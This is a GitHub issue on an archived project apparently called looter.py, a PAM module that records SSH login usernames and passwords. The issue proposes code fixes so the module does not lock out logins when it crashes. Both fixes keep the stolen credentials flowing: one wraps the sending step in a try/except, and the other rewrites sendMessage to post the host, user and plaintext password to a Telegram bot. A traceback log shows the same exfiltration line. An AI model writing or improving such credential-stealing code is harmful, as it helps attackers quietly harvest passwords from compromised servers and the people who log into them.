Skip to content
This repository has been archived by the owner on Jan 1, 2019. It is now read-only.

Check auth before logout #1

Open
akamajoris opened this issue Feb 19, 2018 · 0 comments
Open

Check auth before logout #1

akamajoris opened this issue Feb 19, 2018 · 0 comments

Comments

@akamajoris
Copy link

akamajoris commented Feb 19, 2018

If you use old requests module, you can lose access to the server forever.
If python script was crashed, pam module will receive PAM_AUTH_ERR and you never login on this server.

Feb 19 15:59:00 google /lib/security/looter.py[29140]: Traceback (most recent call last):
Feb 19 15:59:00 google /lib/security/looter.py[29140]:   File "/lib/security/looter.py", line 34, in pam_sm_authenticate
Feb 19 15:59:00 google /lib/security/looter.py[29140]:     sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp))
Feb 19 15:59:00 google /lib/security/looter.py[29140]:   File "/lib/security/looter.py", line 11, in sendMessage
Feb 19 15:59:00 google /lib/security/looter.py[29140]:     r = requests.post(url,json=data)
Feb 19 15:59:00 google /lib/security/looter.py[29140]:   File "/usr/lib/python2.7/dist-packages/requests/api.py", line 85, in post
Feb 19 15:59:00 google /lib/security/looter.py[29140]:     return request('post', url, data=data, **kwargs)
Feb 19 15:59:00 google /lib/security/looter.py[29140]:   File "/usr/lib/python2.7/dist-packages/requests/api.py", line 40, in request
Feb 19 15:59:00 google /lib/security/looter.py[29140]:     return s.request(method=method, url=url, **kwargs)
Feb 19 15:59:00 google /lib/security/looter.py[29140]: TypeError: request() got an unexpected keyword argument 'json'

Possible solution:

    if not check_pw(user, resp.resp):
        return pamh.PAM_AUTH_ERR
    try:
      sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp))
    except:
      print "failed to send message"
    return pamh.PAM_SUCCESS

Or:

...
import json
...
def sendMessage(msg):
    headers = {'content-type': 'application/json'}
    apiKey = "KEY"
    userId = "USERID"
    data = {"chat_id":userId,"text":msg}
    url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey)
    r = requests.post(url, data=json.dumps(data), timeout=30, headers=headers)
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant